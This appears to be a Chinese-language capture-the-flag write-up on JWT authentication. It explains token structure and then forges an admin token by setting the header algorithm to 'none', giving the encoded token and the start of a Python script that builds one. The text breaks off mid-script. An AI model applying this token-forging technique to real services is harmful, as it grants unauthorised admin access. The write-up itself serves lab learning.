JWT的简介
明确header,payload,signature三个东西的组成原理
明确jwt的作用和与session_id的区别所在。
base64URL的加密算法。
web354(无加密)
F12看到有个/admin的文件目录,进去之后访问不了
然后抓包发现一串cookie中的token,就是JWT
我们将
第一部分{“alg”:“None”,“typ”:“jwt”}base64编码后是eyJhbGciOiJOb25lIiwidHlwIjoiand0In0(去掉等号)
第二部分[{“sub”:“admin”}]base64编码后是W3sic3ViIjoiYWRtaW4ifV0
所以把原来的jwt修改为eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoiYWRtaW4ifV0然后访问/admin/即可
这儿有个小知识
/admin,表示/admin.php
/admin/,表示admin下的文件目录
web346
签名算法被修改为none,从而实现任意的修改token
JWT如果将header中的alg设置为“None”,那么JWT中的内容没有加密,第三部分直接置空,所有的都可以访问,可以任意构造token来达到效果。
前面同样的操作,但是因为None,jwt.io不可以实现
我们用脚本
import jwt
# payload
token_dict = {
"iss": "admin",
"iat": 1609236870,
"exp": 1609244070,
"nbf": 1609236870,
"sub": "admin",
"jti": "943d0b3237806659d2e205e42b319494"
}
headers = {
"alg": "none"